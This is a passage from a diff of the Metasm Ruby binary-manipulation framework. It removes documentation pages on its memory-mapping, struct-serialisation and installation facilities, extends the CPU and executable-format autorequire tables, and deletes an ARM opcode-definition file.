the corresponding `decode_dword` and `encode_dword` methods.
|
||||
|
||||
You can then simply call:
|
||||
|
||||
hdr = MyHeader.decode(myexefmt)
|
||||
|
||||
which will call `myexefmt.decode_word` twice to populate the
|
||||
`signature` and `length` fields of the MyHeader.instance.
|
||||
|
||||
You can also redefine the `#decode` method to handle special cases.
|
||||
|
||||
|
||||
The fields defined this way can be assigned a default value that
|
||||
will be used when encoding the structure. The syntax is:
|
||||
|
||||
dword :fieldname, defaultvalue
|
||||
|
||||
If you have a long sequence of identically-typed fields, you can use
|
||||
the plural form:
|
||||
|
||||
dwords :f1, :f2, :f3, :f4
|
||||
|
||||
To define your own field types, you should create a new subclass and call the
|
||||
`new_field` class method. For integral fields, use `new_int_field(fldname)`
|
||||
that will automatically define the decode/encode routines, and create the
|
||||
plural form.
|
||||
|
||||
class MyStruct < SerialStruct
|
||||
new_int_field :zword
|
||||
zwords :offset, :length
|
||||
end
|
||||
|
||||
|
||||
Symbolic constants
|
||||
------------------
|
||||
|
||||
The class has built-in support for symbolic constants and bit fields.
|
||||
|
||||
For exemple, suppose you have a numeric `:type` field, which corresponds
|
||||
to a set of numeric constants `TYPE_FOO TYPE_BAR TYPE_LOL`. You can use:
|
||||
|
||||
TYPES = { 2 => 'FOO', 3 => 'BAR', 4 => 'LOL' }
|
||||
|
||||
dword :type
|
||||
fld_enum :type, TYPES
|
||||
|
||||
With this, the standard '#decode' method will first decode the numeric value
|
||||
of the field, and then lookup the value in the enum hash to find the
|
||||
corresponding symbol, and use it as the field value.
|
||||
If there is no mapping, the numeric value is retained. The reverse operation
|
||||
is done with `#encode`.
|
||||
|
||||
For the bitfields, the method is `fld_bits`, and the software will try to
|
||||
match *OR-ed* values from the bitfield to generate an array of symbols.
|
||||
|
||||
BITS = { 1 => 'B1', 2 => 'B2', 4 => 'B4' }
|
||||
|
||||
dword :foo
|
||||
fld_bits :foo, BITS
|
||||
|
||||
which will give, for the numeric value `0x15`, `["B1", "B4", 0x10]`
|
||||
|
||||
The hashes used for fld_bits or fld_enum can be dynamically determined, by
|
||||
using the block version of those methods. The block will receive the ExeFormat
|
||||
instance and the SerialStruct instance, and should return the Hash.
|
||||
This can be useful when a bitfield signification varies given some generic
|
||||
property of the exe, eg the target architecture.
|
||||
|
||||
|
||||
Hooks
|
||||
-----
|
||||
|
||||
It is also possible to define a hook that will be called at some point during
|
||||
the object binary decoding. It will receive the exe and struct instances.
|
||||
|
||||
class Header < SerialStruct
|
||||
dword :machine
|
||||
decode_hook { |exe, hdr| raise "unknown machine" if hdr.machine > 4 }
|
||||
dword :bodylength
|
||||
end
|
||||
|
|
@ -1,145 +0,0 @@
|
|||
VirtualString
|
||||
=============
|
||||
|
||||
This class is an abstract representation of an arbitrary sized byte array
|
||||
with methods to load parts of it on demand. It is useful to represent
|
||||
a program virtual memory and allow metasm to work on it while only reading
|
||||
bytes from it when actually needed.
|
||||
|
||||
The base class is defined in `metasm/os/main.rb`.
|
||||
|
||||
|
||||
Basics
|
||||
------
|
||||
|
||||
The API of the object is designed to be compatible with a standard String (ASCII-8BIT).
|
||||
The main restriction is that the size of this string cannot be changed:
|
||||
concatenation / shortening is not supported.
|
||||
|
||||
The main operation on the object should be `[]` and `[]=`, that is,
|
||||
reading some subpart of the string, or overwriting some substring.
|
||||
The arguments are the same as for a String, with the exception that
|
||||
rewrite raises an IndexError if the rewriting would change the string
|
||||
length.
|
||||
|
||||
A few methods are written specifically with the VirtualString semantics,
|
||||
others are redirected to a temporary real String generated with `realstring`.
|
||||
|
||||
The VirtualString works with a `page` concept, that represents some arbitrary
|
||||
chunks of data that can be actually read from the underlying target, e.g. a
|
||||
memory page (4096 bytes) when mapping a process virtual address space.
|
||||
Instances get to define a `pagelength` sound for the specific implementation.
|
||||
|
||||
Whenever a substring is requested from a VirtualString, if the substring
|
||||
length is less than the page size, an actual read is made and a String is
|
||||
returned.
|
||||
|
||||
If the length is greater however, a new VirtualString is created to map this
|
||||
new *view* without actually reading.
|
||||
|
||||
To force the conversion to a String, use the `realstring` or `to_str` method.
|
||||
The latter is prefered, as it works on both Strings and VirtualStrings.
|
||||
|
||||
To force the creation of a new VirtualString, use the `dup(start, len)` method.
|
||||
|
||||
When reading actual bytes, a local page cache is used. By default is has only 4
|
||||
pages, and can be invalidated using `invalidate`.
|
||||
The cache is automatically invalidated when part of the string is written to.
|
||||
|
||||
The VirtualString may index *invalid* pages (e.g. unmapped memory range in a
|
||||
process address space) ; you can check that with `page_invalid?` with an index
|
||||
as parameter.
|
||||
|
||||
|
||||
Creation
|
||||
--------
|
||||
|
||||
To create your own flavor of VirtualString, you must:
|
||||
|
||||
* define your subclass that inherits from `VirtualString`
|
||||
* define your initializer, that takes whatever arguments make sense (e.g. a
|
||||
*pid*, *handle*, Socket..)
|
||||
* your initializer must call super(a, l) with arguments:
|
||||
** current view absolute address (should default to 0), will be saved in
|
||||
`@addr_start`
|
||||
** current view size (should default to something sensible, like 1<<32), saved
|
||||
in `@length`
|
||||
* your initializer can override the default page size by defining the
|
||||
`@pagelength` variable.
|
||||
* implement a `dup` method that takes optional arguments:
|
||||
** new base address (default=`@addr_start`)
|
||||
** new length (default=`@length`)
|
||||
** returns a new instance of your class mapping over the specified window
|
||||
* implement a `get_page` method, whose arguments are:
|
||||
** absolute page address (will always be page-aligned)
|
||||
** optional length, default=`@pagelength`
|
||||
** returns a String of `length` bytes, or `nil` (e.g. unmapped area)
|
||||
* optionally implement a `rewrite_at` method, to make your string writeable.
|
||||
Arguments are the absolute write address, and the data to write there (a String).
|
||||
|
||||
Feel free to override any other method with an optimized version.
|
||||
For exemple, the default `realstring` will repeatadly call `get_page` with
|
||||
each page in the range 0..`length`, you may have a more efficient alternative.
|
||||
|
||||
You can alter the cache size by rewriting the `@pagecache_len` variable
|
||||
**after** calling `super()` in `initialize`. The default value is 4, which you
|
||||
may want to increase.
|
||||
|
||||
See the `WindowsRemoteString` source for a simple exemple (ignore the `open_pid`
|
||||
method).
|
||||
|
||||
Standard subclasses
|
||||
-------------------
|
||||
|
||||
VirtualFile
|
||||
###########
|
||||
|
||||
Defined in `metasm/os/main.rb`.
|
||||
|
||||
This class maps over an open file descriptor, and allows reading data on-demand.
|
||||
It implements the `read` class method, similar to `File.read`, with the
|
||||
file opened in binary mode. For a small file (<=4096), the content is
|
||||
directly returned, otherwise a VirtualString is created.
|
||||
|
||||
This class is used by the default <core/ExeFormat.txt> `decode_file[_header]`
|
||||
methods.
|
||||
|
||||
|
||||
LinuxRemoteString
|
||||
#################
|
||||
|
||||
Defined in `metasm/os/linux.rb`.
|
||||
|
||||
This class maps over the virtual memory of a Linux process.
|
||||
Accesses are done through the `/proc/<pid>/mem` for reading.
|
||||
The linux kernel requires that the target process be ptraced before we can
|
||||
read this file, so the object will use the debugger instance passed to the
|
||||
constructor, or create a new <core/PTrace.txt> object to stop the process
|
||||
and read its memory during `get_page`.
|
||||
|
||||
If a <core/Debugger.txt> object was given, `get_page` will return `nil` if the
|
||||
debugger indicates that the target is not stopped.
|
||||
|
||||
Writing is done through `PTrace#writemem` using `PTRACE_POKEDATA`.
|
||||
|
||||
|
||||
WindowsRemoteString
|
||||
###################
|
||||
|
||||
Defined in `metasm/os/windows.rb`.
|
||||
|
||||
This class maps over the virtual memory of a Windows process.
|
||||
|
||||
The memory accesses are done using the `Read/WriteProcessMemory` API.
|
||||
|
||||
The class method `open_pid` is defined, that will try to `OpenProcess`
|
||||
first in read/write, and fallback to read-only mode.
|
||||
|
||||
|
||||
GdbRemoteString
|
||||
###############
|
||||
|
||||
Defined in `metasm/os/remote.rb`.
|
||||
|
||||
Maps over the virtual memory of a remote process debugged with a
|
||||
<core/GdbClient.txt> instance, using `setmem` and `getmem`.
|
|
@ -1,61 +0,0 @@
|
|||
WindowsExports
|
||||
==============
|
||||
|
||||
This class is defined in `metasm/os/windows_exports.rb`
|
||||
|
||||
It defines an `EXPORT` constant, a Hash, whose keys
|
||||
are the standard win32 API symbol names, and values
|
||||
are the library name where you can find this symbol.
|
||||
|
||||
The equivalent for GNU/Linux is <core/GNUExports.txt>
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
The main usage of this class is the automatic generation
|
||||
of the <core/PE.txt> import directories from the
|
||||
external symbols referenced by a binary during compilation.
|
||||
|
||||
This is done in the `automagic_symbols` method.
|
||||
|
||||
Symbols
|
||||
-------
|
||||
|
||||
The current version holds the symbols available in the
|
||||
Windows XP SP2 32-bit standard libraries:
|
||||
|
||||
* `ntdll`
|
||||
* `kernel32`
|
||||
* `user32`
|
||||
* `gdi32`
|
||||
* `advapi32`
|
||||
* `ws2_32`
|
||||
* `msvcrt`
|
||||
* `comdlg32`
|
||||
* `psapi`
|
||||
|
||||
|
||||
Ruby symbols are also defined, from `msvcrt-ruby18`.
|
||||
|
||||
|
||||
Ruby library name
|
||||
-----------------
|
||||
|
||||
On creation, the current ruby library name is inferred
|
||||
from the `RUBY_PLATFORM` constant, in an effort to
|
||||
try to use the available ruby library filename.
|
||||
|
||||
The only transformation supported now is to rewrite
|
||||
the ruby version number appearing in the filename for
|
||||
msvcrt-compiled binaries, so that you get the correct
|
||||
`msvcrt-ruby192` name for exemple under ruby1.9.
|
||||
|
||||
This is implemented in the `patch_rubylib_to_current_interpreter`
|
||||
method (which is aptly named).
|
||||
|
||||
Warning
|
||||
#######
|
||||
|
||||
Note that binaries compiled this way will not work on
|
||||
other machines where the exact same library is unavailable.
|
||||
|
|
@ -1 +0,0 @@
|
|||
See <core_classes.txt>
|
|
@ -1,75 +0,0 @@
|
|||
Core classes
|
||||
============
|
||||
|
||||
Core
|
||||
----
|
||||
|
||||
* <core/Expression.txt>
|
||||
* <core/EncodedData.txt>
|
||||
* <core/VirtualString.txt>
|
||||
* <core/Opcode.txt>
|
||||
* <core/Instruction.txt>
|
||||
|
||||
CPUs
|
||||
----
|
||||
|
||||
* <core/CPU.txt>
|
||||
* <core/Ia32.txt>
|
||||
* <core/X86_64.txt>
|
||||
* <core/MIPS.txt>
|
||||
* <core/PowerPC.txt>
|
||||
* <core/Sh4.txt>
|
||||
|
||||
ExeFormats
|
||||
----------
|
||||
|
||||
* <core/ExeFormat.txt>
|
||||
* <core/SerialStruct.txt>
|
||||
* <core/AutoExe.txt>
|
||||
|
||||
* <core/Shellcode.txt>
|
||||
* <core/PE.txt>
|
||||
* <core/COFF.txt>
|
||||
* <core/ELF.txt>
|
||||
|
||||
C
|
||||
----
|
||||
|
||||
* <core/Preprocessor.txt>
|
||||
* <core/CParser.txt>
|
||||
* <core/CCompiler.txt>
|
||||
|
||||
Debugger
|
||||
--------
|
||||
|
||||
* <core/OS.txt>
|
||||
* <core/Debugger.txt>
|
||||
* <core/LinDebugger.txt>
|
||||
* <core/WinDebugger.txt>
|
||||
* <core/PTrace.txt>
|
||||
* <core/GdbClient.txt>
|
||||
* <core/WinDbgAPI.txt>
|
||||
|
||||
Disassembler
|
||||
------------
|
||||
|
||||
* <core/Disassembler.txt>
|
||||
* <core/DecodedFunction.txt>
|
||||
* <core/DecodedInstruction.txt>
|
||||
* <core/InstructionBlock.txt>
|
||||
* <core/Decompiler.txt>
|
||||
|
||||
GUI
|
||||
----
|
||||
|
||||
* <core/Gui.txt>
|
||||
* <core/Gui_Drawable.txt>
|
||||
* <core/Gui_Window.txt>
|
||||
|
||||
* <core/Gui_DasmWidget.txt>
|
||||
* <core/Gui_DebugWidget.txt>
|
||||
|
||||
Others
|
||||
------
|
||||
|
||||
* <core/DynLdr.txt>
|
|
@ -1,53 +0,0 @@
|
|||
Metasm feature list
|
||||
===================
|
||||
|
||||
Metasm is a cross-architecture assembler, disassembler, compiler, linker and debugger.
|
||||
|
||||
See <use_cases.txt>
|
||||
|
||||
Architectures
|
||||
-------------
|
||||
|
||||
It is written in such a way that it is easy to add support for new architectures.
|
||||
For now, the following architectures are in:
|
||||
|
||||
* Intel <core/Ia32.txt> (16 and 32bits)
|
||||
* Intel <core/X86_64.txt> (*aka* Ia32 64bits, X64, AMD64)
|
||||
* MIPS
|
||||
* PowerPC
|
||||
* Sh4
|
||||
|
||||
The developpement is generally more focused on Ia32 and X86_64.
|
||||
|
||||
|
||||
File formats
|
||||
------------
|
||||
|
||||
The following executable file formats are supported:
|
||||
|
||||
* <core/Shellcode.txt> (raw binary)
|
||||
* <core/PE.txt>/<core/COFF.txt> (32/64bits)
|
||||
* <core/ELF.txt> (32/64bits)
|
||||
|
||||
Those are supported in a more limited way:
|
||||
|
||||
* Mach-O, UniversalBinary
|
||||
* MZ
|
||||
* A.out
|
||||
* XCoff
|
||||
* NDS
|
||||
|
||||
|
||||
Features
|
||||
--------
|
||||
|
||||
The framework includes
|
||||
|
||||
* a graphical <usage/disassembler.txt>
|
||||
* a graphical <usage/debugger.txt>
|
||||
* low and high-level debugging support (Ia32 only for now) under Windows, Linux and remote (via a GdbServer)
|
||||
* an advanced disassembler engine, with limited emulation support
|
||||
* a full <usage/C_parser.txt> (with preprocessor)
|
||||
* an experimental <usage/C_compiler.txt> (Ia32 only)
|
||||
* an experimental <usage/decompiler.txt> (Ia32 only)
|
||||
|
|
@ -1,59 +0,0 @@
|
|||
The Metasm framework documentation
|
||||
==================================
|
||||
|
||||
Metasm
|
||||
------
|
||||
|
||||
The Metasm framework is an opensource software designed to interact with
|
||||
the various forms of binary code. It is written in pure Ruby
|
||||
(<http://ruby-lang.org/>).
|
||||
|
||||
More detailed informations can be found in the <feature_list.txt>.
|
||||
|
||||
It is distributed freely under the terms of the LGPL.
|
||||
|
||||
Documentation organisation
|
||||
--------------------------
|
||||
|
||||
This documentation is split in different parts :
|
||||
|
||||
* the <core_classes.txt>
|
||||
* the major <use_cases.txt>
|
||||
* <code_organisation.txt>
|
||||
|
||||
The first part describes the internal structure of the framework, the
|
||||
second part is a higher level overview of the software and shows how
|
||||
the various parts are used and can interract. The last part explains
|
||||
the role of the source files and directories.
|
||||
|
||||
|
||||
Documentation progress
|
||||
----------------------
|
||||
|
||||
The documentation is written here and there in my free time, and is **very**
|
||||
**incomplete** as of now. Specifically, all internal links you'll find
|
||||
ending in `.txt` are link to pages that have not been written yet.
|
||||
|
||||
|
||||
Install notes
|
||||
-------------
|
||||
|
||||
See the <install_notes.txt>
|
||||
|
||||
Authors
|
||||
-------
|
||||
|
||||
Metasm is mostly written by Yoann Guillot.
|
||||
|
||||
Some parts were added by various contributors, including :
|
||||
* Julien Tinnès
|
||||
* Raphaël Rigo
|
||||
* Arnaud Cornet
|
||||
* Alexandre Gazet
|
||||
|
||||
Contact
|
||||
-------
|
||||
|
||||
The latest version of this documentation can be found on the Metasm site: <http://metasm.cr0.org/doc>
|
||||
|
||||
Patches, bug reports, feature requests should be sent to metasm@cr0.org
|
|
@ -1,170 +0,0 @@
|
|||
Metasm installation notes
|
||||
=========================
|
||||
|
||||
Metasm is a pure ruby lib, and the core (`metasm/` subdir) does not depend on any
|
||||
ruby library (except the `metasm/gui`, which may use `gtk2`).
|
||||
|
||||
So the install is quite simple.
|
||||
|
||||
|
||||
Download
|
||||
--------
|
||||
|
||||
Metasm is distributed using the `mercurial` source control system.
|
||||
|
||||
The recommanded way to install is to use that tool, so you can always be
|
||||
up-to-date with the latest developpements.
|
||||
|
||||
You will also need the Ruby interpreter (version 1.8 and 1.9 are supported).
|
||||
|
||||
Linux
|
||||
#####
|
||||
|
||||
Issue the following commands to install the `mercurial` and `ruby` software
|
||||
|
||||
sudo apt-get install ruby
|
||||
sudo apt-get install mercurial
|
||||
|
||||
Then download metasm with
|
||||
|
||||
hg clone http://metasm.cr0.org/hg/metasm/
|
||||
|
||||
This will create a new directory `metasm/` with the latest version of the
|
||||
framework.
|
||||
|
||||
|
||||
Windows
|
||||
#######
|
||||
|
||||
The ruby website offers many ruby packages. The *RubyInstaller* should
|
||||
work fine. Go to <http://www.ruby-lang.org/en/downloads/>, under the
|
||||
`Ruby on Windows` section.
|
||||
|
||||
The `mercurial` website has links to various installers:
|
||||
<http://mercurial.selenic.com/wiki/BinaryPackages>
|
||||
Choose one, then use the `clone repository` command with the following
|
||||
url:
|
||||
|
||||
http://metasm.cr0.org/hg/metasm/
|
||||
|
||||
This will create a new subdirectory `metasm/` with the latest version of
|
||||
the framework.
|
||||
|
||||
|
||||
Upgrading
|
||||
---------
|
||||
|
||||
To upgrade to the latest and greatest version, launch a shell prompt and
|
||||
navigate to the metasm directory, then issue:
|
||||
|
||||
hg pull -u
|
||||
|
||||
which will upgrade your installation to the latest available version.
|
||||
|
||||
With `TortoiseHG`, simply issue the `upgrade` command on the `metasm`
|
||||
directory.
|
||||
|
||||
|
||||
Local installation
|
||||
------------------
|
||||
|
||||
If you simply want to install metasm for your personnal usage (VS a
|
||||
system-wide installation), follow these steps.
|
||||
|
||||
Download the metasm source files under any directory, then update the
|
||||
environment variable `RUBYLIB` to include this path. The path you add
|
||||
should be the directory containing the `metasm.rb` script and the `metasm/`,
|
||||
`samples/`, `doc/` subdirectories.
|
||||
|
||||
If `RUBYLIB` is empty or non-existant, simply set its value to the directory,
|
||||
otherwise you can append the path to an existing list by separating the values
|
||||
with a `:` such as:
|
||||
|
||||
RUBYLIB='/foo/bar:/home/jj/metasm'
|
||||
|
||||
Linux
|
||||
#####
|
||||
|
||||
Under linux or cygwin, this is done by modifying your shell profile, e.g.
|
||||
`~/.bash_profile`, by adding a line such as:
|
||||
|
||||
export RUBYLIB='/home/jj/metasm'
|
||||
|
||||
You may need to restart your session or start a new shell for the changes
|
||||
to take effect.
|
||||
|
||||
Windows
|
||||
#######
|
||||
|
||||
The environment variables can be set through :
|
||||
|
||||
* rightclick on `my computer`
|
||||
* select tab `advanced`
|
||||
* click `environment variables`
|
||||
|
||||
If a line RUBYLIB exists, add `;C:\path\to\metasm` at the end, otherwise
|
||||
create a new variable `RUBYLIB` with the path as value.
|
||||
|
||||
You may need to restart your session for the changes to take effect.
|
||||
|
||||
|
||||
Systemwide installation
|
||||
-----------------------
|
||||
|
||||
For a systemwide installation, you should create a `metasm.rb` file in the `site_ruby`
|
||||
directory (that would be `/usr/lib/ruby/1.8/` under linux, or `C:\apps\ruby\lib\ruby\1.8\`
|
||||
for windows users) with the content
|
||||
|
||||
# if metasm.rb can be found in /home/jj/metasm/metasm.rb
|
||||
require '/home/jj/metasm/metasm'
|
||||
|
||||
|
||||
Testing
|
||||
-------
|
||||
|
||||
Open a new shell session and type
|
||||
|
||||
ruby -r metasm -e "p Metasm::VERSION"
|
||||
|
||||
It should print a single line with a (meaningless) number in it.
|
||||
|
||||
|
||||
Gui
|
||||
----
|
||||
|
||||
If you intend to use the graphical user-interface (debugger/disassembler),
|
||||
if you are under Windows with a 32bit x86 ruby, this should work out of the
|
||||
box. In any other case, you'll need the `ruby-gtk2` library.
|
||||
|
||||
Linux
|
||||
#####
|
||||
|
||||
Under linux, use your package manager to install `ruby-gtk2`, e.g. for
|
||||
Debian/Ubuntu, type:
|
||||
|
||||
sudo apt-get install libgtk2-ruby
|
||||
|
||||
|
||||
Windows
|
||||
#######
|
||||
|
||||
If you run a 32bit Ia32 ruby interpreter (check that `ruby -v` returns
|
||||
something like `[i386-mswin32]`), the Gui should work right away without
|
||||
`gtk2`, so go directly to the `Testing` part.
|
||||
|
||||
Otherwise, you'll need to install the `gtk2` libs and the ruby bindings
|
||||
manually. Please follow the instructions at
|
||||
<http://ruby-gnome2.sourceforge.jp/hiki.cgi?Install+Guide+for+Windows>
|
||||
|
||||
|
||||
Testing
|
||||
#######
|
||||
|
||||
To test the correct working of the Gui, simply launch the
|
||||
`samples/disassemble-gui.rb` script found in the metasm directory
|
||||
(double-click on the script, or type `ruby samples/disassemble-gui.rb` at
|
||||
a command prompt). It should display a window with a menu, and should
|
||||
answer to a `ctrl-o` keystroke with an `open binary file` dialog.
|
||||
|
||||
See the <usage/disassembler_gui.txt> for more information.
|
||||
|
|
@ -1,3 +0,0 @@
|
|||
span.quote {
|
||||
font-family: monospace;
|
||||
}
|
|
@ -1 +0,0 @@
|
|||
See <use_cases.txt>
|
|
@ -1,18 +0,0 @@
|
|||
Metasm use cases
|
||||
================
|
||||
|
||||
Metasm is intended to be a binary manipulation toolbox.
|
||||
There are quite a lot of possible usages that can be derived from the
|
||||
<feature_list.txt>.
|
||||
|
||||
The major would be related to:
|
||||
|
||||
* the scriptable <usage/debugger.txt>
|
||||
* the <usage/disassembler.txt> (with the optionnal <usage/disassembler_gui.txt>)
|
||||
* the <usage/assembler.txt>
|
||||
* the <usage/C_parser.txt>
|
||||
* the <usage/C_compiler.txt>
|
||||
* the <usage/exe_manipulation.txt> facilities
|
||||
|
||||
and various interaction between those.
|
||||
|
|
@ -15,6 +15,7 @@ module Metasm
|
|||
Const_autorequire_equiv = {
|
||||
'X86' => 'Ia32', 'PPC' => 'PowerPC',
|
||||
'X64' => 'X86_64', 'AMD64' => 'X86_64',
|
||||
'MIPS64' => 'MIPS',
|
||||
'UniversalBinary' => 'MachO', 'COFFArchive' => 'COFF',
|
||||
'DEY' => 'DEX',
|
||||
'PTrace' => 'LinOS', 'FatELF' => 'ELF',
|
||||
|
@ -32,8 +33,9 @@ module Metasm
|
|||
|
||||
# files to require to get the definition of those constants
|
||||
Const_autorequire = {
|
||||
'Ia32' => 'ia32', 'MIPS' => 'mips', 'PowerPC' => 'ppc', 'ARM' => 'arm',
|
||||
'X86_64' => 'x86_64', 'Sh4' => 'sh4', 'Dalvik' => 'dalvik',
|
||||
'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm',
|
||||
'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc',
|
||||
'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf',
|
||||
'C' => 'compile_c',
|
||||
'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe',
|
||||
'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff',
|
||||
|
@ -41,10 +43,15 @@ module Metasm
|
|||
'AOut' => 'exe_format/a_out', 'MachO' => 'exe_format/macho',
|
||||
'DEX' => 'exe_format/dex',
|
||||
'NDS' => 'exe_format/nds', 'XCoff' => 'exe_format/xcoff',
|
||||
'GameBoyRom' => 'exe_format/gb',
|
||||
'Bflt' => 'exe_format/bflt', 'Dol' => 'exe_format/dol',
|
||||
'PYC' => 'exe_format/pyc', 'JavaClass' => 'exe_format/javaclass',
|
||||
'SWF' => 'exe_format/swf', 'ZIP' => 'exe_format/zip',
|
||||
'Shellcode_RWX' => 'exe_format/shellcode_rwx',
|
||||
'Gui' => 'gui',
|
||||
'WindowsExports' => 'os/windows_exports',
|
||||
'GNUExports' => 'os/gnu_exports',
|
||||
'Debugger' => 'debug',
|
||||
'LinOS' => 'os/linux', 'WinOS' => 'os/windows',
|
||||
'GdbClient' => 'os/remote',
|
||||
'Disassembler' => 'disassemble',
|
||||
|
|
|
@ -1,177 +0,0 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/arm/main'
|
||||
|
||||
module Metasm
|
||||
class ARM
|
||||
private
|
||||
def addop(name, bin, *args)
|
||||
args << :cond if not args.delete :uncond
|
||||
|
||||
o = Opcode.new name, bin
|
||||
o.args.concat(args & @valid_args)
|
||||
(args & @valid_props).each { |p| o.props[p] = true }
|
||||
args.grep(Hash).each { |h| o.props.update h }
|
||||
|
||||
# special args -> multiple fields
|
||||
case (o.args & [:i8_r, :rm_is, :rm_rs, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]).first
|
||||
when :i8_r; args << :i8 << :rotate
|
||||
when :rm_is; args << :rm << :stype << :shifti
|
||||
when :rm_rs; args << :rm << :stype << :rs
|
||||
when :mem_rn_rm; args << :rn << :rm << :rsx << :u
|
||||
when :mem_rn_i8_12; args << :rn << :i8_12 << :u
|
||||
when :mem_rn_rms; args << :rn << :rm << :stype << :shifti << :u
|
||||
when :mem_rn_i12; args << :rn << :i12 << :u
|
||||
end
|
||||
|
||||
(args & @fields_mask.keys).each { |f|
|
||||
o.fields[f] = [@fields_mask[f], @fields_shift[f]]
|
||||
}
|
||||
|
||||
@opcode_list << o
|
||||
end
|
||||
|
||||
def addop_data_s(name, op, a1, a2, *h)
|
||||
addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h
|
||||
addop name, op, a1, a2, :rm_is, *h
|
||||
addop name, op | (1 << 4), a1, a2, :rm_rs, *h
|
||||
end
|
||||
def addop_data(name, op, a1, a2)
|
||||
addop_data_s name, op << 21, a1, a2
|
||||
addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length
|
||||
end
|
||||
|
||||
def addop_load_puw(name, op, *a)
|
||||
addop name, op, {:baseincr => :post}, :rd, :u, *a
|
||||
addop name, op | (1 << 24), :rd, :u, *a
|
||||
addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a
|
||||
end
|
||||
def addop_load_lsh_o(name, op)
|
||||
addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3}
|
||||
addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3}
|
||||
end
|
||||
def addop_load_lsh
|
||||
op = 9 << 4
|
||||
addop_load_lsh_o 'strh', op | (1 << 5)
|
||||
addop_load_lsh_o 'ldrd', op | (1 << 6)
|
||||
addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5)
|
||||
addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5)
|
||||
addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6)
|
||||
addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5)
|
||||
end
|
||||
|
||||
def addop_load_puwt(name, op, *a)
|
||||
addop_load_puw name, op, *a
|
||||
addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a
|
||||
end
|
||||
def addop_load_o(name, op, *a)
|
||||
addop_load_puwt name, op, :mem_rn_i12, *a
|
||||
addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a
|
||||
end
|
||||
def addop_load(name, op)
|
||||
addop_load_o name, op
|
||||
addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length
|
||||
end
|
||||
|
||||
def addop_ldm_go(name, op, *a)
|
||||
addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a
|
||||
end
|
||||
def addop_ldm_w(name, op, *a)
|
||||
addop_ldm_go name, op, *a # base reg untouched
|
||||
addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated
|
||||
end
|
||||
def addop_ldm_s(name, op)
|
||||
addop_ldm_w name, op # transfer regs
|
||||
addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs
|
||||
end
|
||||
def addop_ldm_p(name, op)
|
||||
addop_ldm_s name+'a', op # target memory included
|
||||
addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr
|
||||
end
|
||||
def addop_ldm_u(name, op)
|
||||
addop_ldm_p name+'d', op # transfer made downward
|
||||
addop_ldm_p name+'i', op | (1 << 23) # transfer made upward
|
||||
end
|
||||
def addop_ldm(name, op)
|
||||
addop_ldm_u name, op
|
||||
end
|
||||
|
||||
# ARMv6 instruction set, aka arm7/arm9
|
||||
def init_arm_v6
|
||||
@opcode_list = []
|
||||
@valid_props << :baseincr << :cond << :cond_name_off << :usermoderegs <<
|
||||
:tothumb << :tojazelle
|
||||
@valid_args.concat [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24,
|
||||
:rm_rs, :rm_is, :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]
|
||||
@fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf,
|
||||
:crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf,
|
||||
:rnx => 0xf, :rdx => 0xf, :rsx => 0xf,
|
||||
:shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff,
|
||||
:i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f,
|
||||
:u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf
|
||||
|
||||
@fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0,
|
||||
:crn => 16, :crd => 12, :crm => 0, :cpn => 8,
|
||||
:rnx => 16, :rdx => 12, :rsx => 8,
|
||||
:shifti => 7, :stype => 5, :rotate => 8, :reglist => 0,
|
||||
:i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0,
|
||||
:u => 23, :mask => 16, :sbo => 12, :cond => 28
|
||||
|
||||
addop_data 'and', 0, :rd, :rn
|
||||
addop_data 'eor', 1, :rd, :rn
|
||||
addop_data 'xor', 1, :rd, :rn
|
||||
addop_data 'sub', 2, :rd, :rn
|
||||
addop_data 'rsb', 3, :rd, :rn
|
||||
addop_data 'add', 4, :rd, :rn
|
||||
addop_data 'adc', 5, :rd, :rn
|
||||
addop_data 'sbc', 6, :rd, :rn
|
||||
addop_data 'rsc', 7, :rd, :rn
|
||||
addop_data 'tst', 8, :rdx, :rn
|
||||
addop_data 'teq', 9, :rdx, :rn
|
||||
addop_data 'cmp', 10, :rdx, :rn
|
||||
addop_data 'cmn', 11, :rdx, :rn
|
||||
addop_data 'orr', 12, :rd, :rn
|
||||
addop_data 'or', 12, :rd, :rn
|
||||
